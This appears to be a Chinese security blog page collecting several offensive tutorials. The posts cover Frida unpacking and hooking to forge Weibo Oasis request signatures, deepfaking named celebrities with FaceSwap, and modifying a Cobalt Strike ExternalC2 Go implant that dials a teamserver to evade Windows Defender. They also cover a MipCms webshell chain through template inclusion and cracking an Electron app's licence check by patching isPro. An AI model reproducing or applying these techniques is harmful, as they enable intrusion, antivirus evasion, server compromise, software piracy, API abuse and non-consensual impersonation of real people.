分类 安全之路 下的文章

Frida 脱壳与Hook笔记

环境搭建

安装Frida

pip3 install frida
pip3 install frida-tools

模拟器配置

我的使用环境在Mac上,Mac上的模拟器都不太稳定,所以我选择在Parallels Desktop虚拟机中安装了一台WIndows,并在Windows中安装了夜神模拟器.
夜神模拟器默认的adb端口是62001,但是只绑定在了127.0.0.1上

我们借助一款小工具tcpmapping,把62001转发到0.0.0.0上,方便我们用物理机或其他虚拟机进行连接。

然后就可以通过链接虚拟机的内网IP进行连接了

运行Frida-server

adb push frida-server /data/local/tmp/
adb shell chmod 777 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server

应用

脱壳

现在很多安卓的壳都是动态加载dex文件进行执行的,如果正常解压apk得到的dex一般只是一个加载器,但是最终一定会加载真实的dex文件,我们只需要Hook系统打开Dex文件的函数,最后将dex文件导出即可。

在Android 4 上是通过libdvm.so中的dvmDexFileOpenPartial函数实现打开dex文件的。
Android > 5 以上时通过libdvm.so中的OpenCommon函数进行操作的。
当然你实际把这俩个so文件拖到ida里面去搜函数名字,出来的函数名称是很长的,例如

_ZN3art7DexFile10OpenCommonEPKhjRKNSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEjPKNS_10OatDexFileEbbPS9_PNS0_12VerifyResultE

这里直接使用一个别人开发好的脚本进行脱壳就可以了,有兴趣的可以仔细看一下脚本,还是很值得学习的。
使用方法:

frida -l dexDump.js -f com.sskj.com -U --no-pause

最后导出的dex文件会在这个目录下:

"/data/data/" + processName + "/" + dex_size + ".dex";

https://github.com/GuoQiang1993/Frida-Apk-Unpack

Hook指定API

我这里用老版本的[微博绿洲 1.4.2]进行实验,因为没有加壳直接使用jadx就可以查看源码了,先找到了Java实现的签名算法的调用类

package com.weibo.xvideo.util;

import android.content.Context;
import com.tencent.open.SocialOperation;

/* compiled from: SignatureUtil.kt */
public final class SignatureUtil {
    public static final SignatureUtil a = new SignatureUtil();

    static {
        System.loadLibrary(SocialOperation.GAME_SIGNATURE);
    }

    public final native String signature(Context context, String str, boolean z);
}

发现其是通过加载so文件实现签名的,其实按照正常破解加密算法的操作,应该去逆向so文件,然后重写加密算法,但是既然用了frida就不需要那么复杂,几行hook就可以实现了。

setTimeout(function() {
    Java.perform(function() {

        var HttpRequestEntity = Java.use('com.weibo.xvideo.util.SignatureUtil'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.signature.implementation = function(arg1, arg2, arg3) { // 重写要hook的方法getSign,当有多个重名函数时需要重载,function括号为函数的参数个数

            var Sign = this.signature(arg1, arg2, arg3); //调用原始的函数实现并且获得返回值,如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            send("arg2:" + arg2);
            send("arg3:" + arg3);

            send("result:" + Sign); //打印返回值
            return Sign; //函数有返回值时需要返回
        };
        var currentApplication = Java.use('android.app.ActivityThread').currentApplication();
        var context = currentApplication.getApplicationContext();
        var func = HttpRequestEntity.$new()
        send("runit:" + func.signature(context, '13123', false));
    })

});

然后执行

frida -U -l hook.js com.sina.oasis

然后在app中随便操作一些需要使用到签名函数的功能,将会看到下列输出

可以发现已经hook到了签名函数的参数和返回值,下面我们就是需要把我们自己的参数传递进去让他进行签名,然后获取签名值了。
写一个python脚本,frida支持消息的传递,我们通过写一个recv监听事件,然后在通过frida的接口发送我们需要签名的内容去触发这个事件,然后在通过frida主动去调用这个签名类并取出返回值

import frida, sys
from urllib import parse
#接受message信息,可以把签名提交到其他功能上
def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)

jscode = """
function sign(args) {
    Java.perform(function () {
        send('send:'+args)
        var HttpRequestEntity = Java.use('com.weibo.xvideo.util.SignatureUtil');
        var currentApplication = Java.use('android.app.ActivityThread').currentApplication();
        var context = currentApplication.getApplicationContext();
        var func = HttpRequestEntity.$new()
        var result = func.signature(context, args, false)
        send("sign:" + result);
        return result;
    })
}
#接受到信号就调用签名函数
recv('sign', function onMessage(pokeMessage) { sign(pokeMessage['line']); });

"""
#处理参数 按照key的字母进行排序
dicts='source_cid=0&source_uid=0&ua=OPPO-OPPO%20R11_oasis_1.4.2_Android_5.1.1&sid=4441027085236588&cuid=7341062735&device_id=5959f99a7cb193c2c053ee4977ab46fc&timestamp=1574308247514&version=1.4.2&channel=ViVo&comment=1111&noncestr=425gbJ1zuDWh15618n5ThvN685QR95&platform=ANDROID'
dicts=dicts.split('&')
dicts_info={}
dicts_info_result={}
for d in dicts:
    d=d.split('=')
    dicts_info.update({d[0]:d[1]})

keys=sorted(dicts_info)
for k in keys:
    dicts_info_result.update({k:dicts_info[k]})
line='&'
for k,v in dicts_info_result.items():
    line+=k+'='+v+'&'
    
line=line[0:-1]
line=parse.unquote_plus(line)
print(line)
print('--------------------------------')
process = frida.get_usb_device().attach('com.sina.oasis')
print(123123)
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
#发送信号
script.post({"type": "sign",'line':line})
sys.stdin.read()

FaceSwap换脸使用与学习笔记

原理

个人理解,若有错误请指出,谢谢
该程序使用AutoEncoder进行图片的处理和学习

分别输入AB俩个人的图片

输入同一个编码器(编码器的作用把图片进行一定的混淆和加干扰),然后分别对应A_out,B_out俩个输出器,一直长时间进行的训练,直到输出器能够在
存在干扰的情况下输出正常的图片,其中的loss就是差异比率,自写的loss算法进行对比图片差异,训练的过程本质就是降低loss的比率,
等训练到一定程度,我们讲A的图片通过B_out进行输出,这个时候B_out这个输出器以为我们输入的是一张存在干扰的B的图片,然后就会把脸部修复成B的样子,从这里实现了换脸,

不同的训练模型对应的就是
只换脸部 同时输入脸部和去掉脸部的头部信息,输出图片

换头部(SAE)
就是输入整个头部信息在等待输出

实际过程应该是
AB使用同一个encoder(即相同的混淆器),然后分别使用各自的Decoder进行解码,然后在通过自定义的Loss取得差异度,然后不断的进行降低差异度的操作,在一定程度的时候将B进行encoder之后调用A的Decoder进行解码,这个时候DecoderA以为输入的是A的脸,然后进行了一定的修复还原成A的脸,达到了换脸的目的。


注:图片来源知乎 https://zhuanlan.zhihu.com/p/34042498

安装方法

这里使用ubuntu 18.04作为系统环境
首先安装Nvida的驱动

sudo apt-get install software-properties-common
sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt update
sudo ubuntu-drivers autoinstall
apt install docker.io

然后使用docker安装FaceSwap

1 首先安装

https://github.com/NVIDIA/nvidia-docker


# Add the package repositories
$ distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
$ curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -
$ curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list

$ sudo apt-get update && sudo apt-get install -y nvidia-container-toolkit
$ sudo systemctl restart docker
apt install nvidia-docker2

2 安装Docker和环境

docker build -t deepfakes-gpu -f Dockerfile.gpu . #如果是cpu则用cpu的file

3 启用

无GUI模式

nvidia-docker run --rm -it -p 8888:8888 \
            --hostname faceswap-gpu --name faceswap-gpu \
            -v /root/faceswap:/srv \
            deepfakes-gpu

开启GUI模式(需要装桌面环境)


nvidia-docker run -p 8888:8888 \
            --hostname faceswap-gpu --name faceswap-gpu \
            -v /root/faceswap:/srv \
            -v /tmp/.X11-unix:/tmp/.X11-unix \
            -e DISPLAY=unix$DISPLAY \
            -e AUDIO_GID=`getent group audio | cut -d: -f3` \
            -e VIDEO_GID=`getent group video | cut -d: -f3` \
            -e GID=`id -g` \
            -e UID=`id -u` \
            deepfakes-gpu

使用方法

首先需要准备俩个视频,最好都是正面的人脸视频,无干扰,我这里采用郭德纲和马云的俩个视频,分别作为AB进行输入

基本都是正面无其他人物,

1 提取人像

#表示从guo.mp4中提取人像输出目录到/out/guo中
docker exec -it faceswap-gpu python /srv/faceswap.py extract -i /srv/video/guo.mp4 -o /srv/video/out/guo/

#表示从ma.mp4中提取人像输出目录到/out/ma中
docker exec -it faceswap-gpu python /srv/faceswap.py extract -i /srv/video/ma.mp4 -o /srv/video/out/ma/

2 开始训练

这里要注入,A和B的顺序,表示将B的脸训练到A上,最终的效果也就是把马云的脸换到郭德纲身上
这个指令是只替换脸部,不包括眉毛,下巴脑门等,如果需要整个脸部替换需要用SAE方式进行学习

docker exec -it faceswap-gpu python /srv/faceswap.py train -A /srv/video/out/new/guo/ -B /srv/video/out/new/ma/ -m /srv/video/out/new/guo2ma/

SAE模式,只需要加上参数 -t dfl-sae即可

docker exec -it faceswap-gpu python /srv/faceswap.py train -A /srv/video/out/t/ -B /srv/video/out/me/ -m /srv/video/out/t2me/ -t dfl-sae

开始训练之后会看到这样的输出

一般是从0.1x开始下降,一般下降到0.3一下就能看出模子了,训练的时间越长相似度就越高,我训练了大概12个小时,采用的Tesla P100 16G的显卡,效果大概如下

模型复用

修改SRC

模型复用最好的效果是保持A不变,修改B的图片,在之前马云和郭德纲的基础上,我将马云换成了赵丽颖,这样大概只训练了1-2个小时就出了非常好的结果,正常来说至少需要5-6个小时才能达到的效果


原始头像:

修改DST

现在我们换一下,将郭德纲改为B,即来源,将A换成赵丽颖,即将郭德纲的脸替换到赵丽颖的视频中,使用的模型基础为之前郭德纲和马云的底包,大概训练了1-2个小时左右的效果
可以发现非常模糊,原因有俩个
1 是郭德纲视频本身像素较低,而赵丽颖的像素较高导致了差异较大
2 我猜测可能是因为换了DST的原因,一般是推荐不换DST只换SRC即B

将DST改为SRC,SRC改为新面孔

我尝试使用郭德纲和马云的底包,将A改成郭德纲,B改为王思聪,最后训练的结果和马云郭德纲的结果几乎一样

docker exec -it faceswap-gpu python /srv/faceswap.py train -A /srv/video/out/new/guo/ -B /srv/video/out/new/wsc/ -m /srv/video/out/new/ww2guo/

王思聪,郭德纲

马云,郭德纲

结论

最好的使用方法是AB保持不变,也就是专人专用,
其次的方案是A不变,可以修改B,即被贴脸的视频不变,修改贴上去的面孔。
在其次是B不变可以修改A,即贴脸的视频不变,修改被贴脸的视频
效果最差的是AB都修改
以上结论是使用相同底包,训练基本都是1-2个小时左右。

参考资料

原理解析
原理解析2
模型复用
桌面环境安装
FaceSwap-GAN

Cs利用ExternalC2 绕过AV

Blog:http://aq.mk/

写在前面

此前遇到一个最新版的Windows Defender,一直想上Cs打内网方便一点,但是奈何一直绕不过去,大概试了这些方法

1. Veil Go/C#/Psh shellcode loader
2. Floov shellcode loader
3. GSL shellcode loader
4. Darkarmour 混淆
5. Powershell混淆
6. 等等payload加载器

然后最近看文章发现俩个东西(感谢俩位开发者):
https://github.com/gloxec/CrossC2
https://github.com/Lz1y/GECC/

这是俩个Cs的ExternalC2,cs除了默认内置的控制方式以外还支持自定义c2的开发

第一个CrossC2是一个支持Linux系统的客户端,不过不太完善支持shell操作
第二个是一个Golang开发的windows的客户端,理论上来说之前通过研究发现Defender拦截的是启动时候的打头马,和上线之后发送的stage,如果使用自定义的c2,那么stage的特征就变了就可以达到绕过Defender等其他Av的目的

修改代码

先修改一下Main.go中的代码,把8.8.8.8改成你自己的teamserver就可以了

func main() {
    conn, err := net.Dial("tcp", "8.8.8.8:2222")
    if err != nil {
        println(err.Error())
        return
    }
    a := &SocketChannel{conn, isDebug}

    stager := a.getStager()

我这里修改成了从参数加载,省的以后重新编译了

import (
    "encoding/base64"
    "encoding/binary"
    "fmt"
    "log"
    "net"
    "os" //加一个这个
    "runtime"
    "time"

    "./invokedll"
    . "github.com/microsoft/go-winio"
)
....
func main() {
    conn, err := net.Dial("tcp", os.Args[1]) 
    //参数还可以做一下加密处理,防止直接看到teamserver的地址

然后新建一个cna脚本,端口就是上面的端口

externalc2_start("0.0.0.0",2222)

安装编译

该程序似乎不能跨平台编译,所以需要一台window环境
需要安装:Golang,MingW-w64

然后打开Mingw切换到项目目录编译就可以了

C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw-w64.bat

go build -o bin/win.exe -ldflags "-H=windowsgui -s -w" main.go

成功上线
首次上线的时候没有外网IP,还有扫描的时候会掉线,lasttime也不会更新,可以直接spawn一个新的listener就可以了

MipCms后台getshell

先看前台一个模版包含,通过id从数据库中查询出template
/app/article/controller/Article.php

$id = input('param.id');
if ($id) {
            $categoryInfo = model($this->itemCategoryModelNameSpace)->getCategoryInfo($id);
            if (!$categoryInfo) {
                $this->error('分类不存在','');
            }
            $currentCid = $categoryInfo['id'];
        }
        
...
  
        $templateName = $categoryInfo['template'] ? $categoryInfo['template'] : $this->itemType;
        $templateName = str_replace('.html', '', $templateName);
        
        return $this->mipView($this->itemType. '/' .$templateName);

在看修改template部分代码
/app/article/controller/ApiAdminArticleCategory.php

  public function categoryAdd()
    {
        $data = $this->request->post();
        if (!$data['name']) {
            return jsonError('请输入名称');
        }
        if (!$data['url_name']) {
          return jsonError('请输入URL别名');
        }
        $itemCategoryInfo = db($this->itemCategory)->where('name',$data['name'])->find();
        if ($itemCategoryInfo) {
            return jsonError('添加项已存在');
        }
        $itemInfo = db($this->itemCategory)->where('url_name',$data['url_name'])->find();
        if ($itemInfo) {
            return jsonError('别名已存在,请重新输入');
        }
        $res = model($this->itemCategoryModelNameSpace)->categoryAdd($data);
        if ($res) {
            return jsonSuccess('操作成功');
        } else {
            return jsonError('操作失败');
        }
    }

通过上述代码可以发现直接把post数据给caltegory去添加了,那么就可以操作任意的列,正常添加的post数据如下

{
  "id": 1,
  "pid": 0,
  "name": "test",
  "url_name": "test",
  "seo_title": "",
  "template": "xxx",
  "detail_template": "articleDetail.html",
  "category_url": "/article/<url_name>/",
  "category_page_url": "<category_url>index_<page>.html",
  "detail_url": "/article/<id>.html",
  "description": "",
  "keywords": "",
  "is_page": "0",
  "content": ""
}

其中template就是我们可以控制的字符,就可以达到修改template包含任意html文件的目的,那么我们还需要一个写入任意html的点。

/addons/collectHuochetou/controller/ApiUserCollectHuochetou.php
这里就可以看前台一个采集插件,

public function articleAdd(Request $request) {
...
try {
                        $htmlInfo = db('Addons')->where('name','html')->find(); //需要开启了html插件
                        if ($htmlInfo) {
                            $url = config('domainStatic').'/index.php?s='; 
                            //获取数据库中的domain并访问指定页面然后写入根目录的index.html
                            $html = getData($url);
                            $path = MIP_ROOT . 'index.html';
                            file_put_contents($path, $html);
                            
                    } catch (\Exception $e) {}
                    //插件-文章静态化结束
                    //以下为发布成功标识
                    return jsonSuccess('发布成功',$result);

}

但是在这个程序中后台并没有一个插件叫html。。陷入了僵局。。后来发现后台可以添加远程数据库作为新的站点,(无后台代码,只有前台代码)

即通过绑定了一个远程的前台数据库,然后修改addons,增加一个html插件

那么需要控制domain指向我们的webshell,好让他生成我们可以控制的页面的html,已经有数据库权限了,只需要修改setting表中的articleDomain即可实现。

然后在修改template实现本地包含

记一次electron程序破解

electron会把写好的程序打包成asar,需要对asar进行解包

npm -g instal asar
asar extract app.asar app/

解包之后目录如下

➜  x ls -lahrt
total 24
-rw-r--r--   1 x  staff   335B  7 31 19:16 package.json
drwxr-xr-x  34 x  staff   1.1K  7 31 19:16 node_modules
drwxr-xr-x   6 x  staff   192B  7 31 19:25 .
-rw-r--r--@  1 x  staff   6.0K  7 31 19:25 .DS_Store
drwxr-xr-x   4 x  staff   128B  7 31 19:25 dist
drwx------+ 10 x  staff   320B  7 31 19:34 ..

源码在dist/electron中

➜  electron ls -lahrt
total 26448
-rw-r--r--   1 x  staff   5.0K  7 31 19:16 0.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 10.js
-rw-r--r--   1 x  staff   2.0K  7 31 19:16 11.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 12.js
-rw-r--r--   1 x  staff   2.6K  7 31 19:16 13.js
-rw-r--r--   1 x  staff   6.0K  7 31 19:16 14.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 15.js
-rw-r--r--   1 x  staff   1.1K  7 31 19:16 16.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 17.js
-rw-r--r--   1 x  staff   3.8K  7 31 19:16 18.js
-rw-r--r--   1 x  staff   2.1K  7 31 19:16 19.js
-rw-r--r--   1 x  staff   5.8K  7 31 19:16 2.js
-rw-r--r--   1 x  staff   3.3K  7 31 19:16 20.js
-rw-r--r--   1 x  staff   4.8K  7 31 19:16 21.js
-rw-r--r--   1 x  staff    14K  7 31 19:16 22.js
-rw-r--r--   1 x  staff   2.4K  7 31 19:16 23.js
-rw-r--r--   1 x  staff   8.1K  7 31 19:16 24.js
-rw-r--r--   1 x  staff    17K  7 31 19:16 25.js
-rw-r--r--   1 x  staff   7.8K  7 31 19:16 26.js
-rw-r--r--   1 x  staff   7.7K  7 31 19:16 27.js
-rw-r--r--   1 x  staff    17K  7 31 19:16 28.js
-rw-r--r--   1 x  staff   3.2K  7 31 19:16 29.js
-rw-r--r--   1 x  staff   3.9K  7 31 19:16 3.js
-rw-r--r--   1 x  staff   4.7K  7 31 19:16 30.js
-rw-r--r--   1 x  staff   3.2K  7 31 19:16 31.js
-rw-r--r--   1 x  staff   2.8K  7 31 19:16 32.js
-rw-r--r--   1 x  staff   8.3K  7 31 19:16 33.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 34.js
-rw-r--r--   1 x  staff    12K  7 31 19:16 35.js
-rw-r--r--   1 x  staff   7.9K  7 31 19:16 36.js
-rw-r--r--   1 x  staff   3.8K  7 31 19:16 37.js
-rw-r--r--   1 x  staff   1.8K  7 31 19:16 38.js
-rw-r--r--   1 x  staff   1.7K  7 31 19:16 39.js
-rw-r--r--   1 x  staff   851B  7 31 19:16 4.js
-rw-r--r--   1 x  staff   6.3K  7 31 19:16 40.js
-rw-r--r--   1 x  staff   2.9K  7 31 19:16 41.js
-rw-r--r--   1 x  staff    18K  7 31 19:16 42.js
-rw-r--r--   1 x  staff    18K  7 31 19:16 43.js
-rw-r--r--   1 x  staff   6.7K  7 31 19:16 44.js
-rw-r--r--   1 x  staff   4.0K  7 31 19:16 45.js
-rw-r--r--   1 x  staff   4.9K  7 31 19:16 46.js
-rw-r--r--   1 x  staff   5.6K  7 31 19:16 47.js
-rw-r--r--   1 x  staff   1.7K  7 31 19:16 48.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 49.js
-rw-r--r--   1 x  staff   1.8K  7 31 19:16 5.js
-rw-r--r--   1 x  staff    23K  7 31 19:16 50.js
-rw-r--r--   1 x  staff    20K  7 31 19:16 51.js
-rw-r--r--   1 x  staff    27K  7 31 19:16 52.js
-rw-r--r--   1 x  staff    14K  7 31 19:16 53.js
-rw-r--r--   1 x  staff   427K  7 31 19:16 54.js
-rw-r--r--   1 x  staff   9.1K  7 31 19:16 6.js
-rw-r--r--   1 x  staff   3.5K  7 31 19:16 7.js
-rw-r--r--   1 x  staff   4.4K  7 31 19:16 8.js
-rw-r--r--   1 x  staff   1.4K  7 31 19:16 9.js
-rw-r--r--   1 x  staff   632K  7 31 19:16 css.worker.js
-rw-r--r--   1 x  staff   105K  7 31 19:16 editor.worker.js
-rw-r--r--   1 x  staff   254K  7 31 19:16 html.worker.js
-rw-r--r--   1 x  staff   168B  7 31 19:16 index.html
-rw-r--r--   1 x  staff   194K  7 31 19:16 json.worker.js
-rw-r--r--   1 x  staff    52K  7 31 19:16 main.js
-rw-r--r--   1 x  staff   3.8M  7 31 19:16 typescript.worker.js
drwxr-xr-x   4 x  staff   128B  7 31 19:16 imgs
drwxr-xr-x  66 x  staff   2.1K  7 31 19:16 .
drwxr-xr-x   5 x  staff   160B  7 31 19:16 fonts
drwxr-xr-x   4 x  staff   128B  7 31 19:25 ..
-rw-r--r--   1 x  staff   6.3M  7 31 19:30 renderer.js

根据提示搜索字符串发现核心文件是renderer.js
代码是压缩过的,拖到chrome里面进行格式化

分析源码发现通过ispro函数进行判定有没有激活,直接修改代码return 1即可

        get isPro() {
            return 1
            //return !!this.info && (!(this.info.type === l.monthly && this.currentTime > this.info.expiredAt) && h.proLicenses.includes(this.info.type))
        }

最后重新打包

asar pack app/ app.asar

然后替换原来的app.asar即可。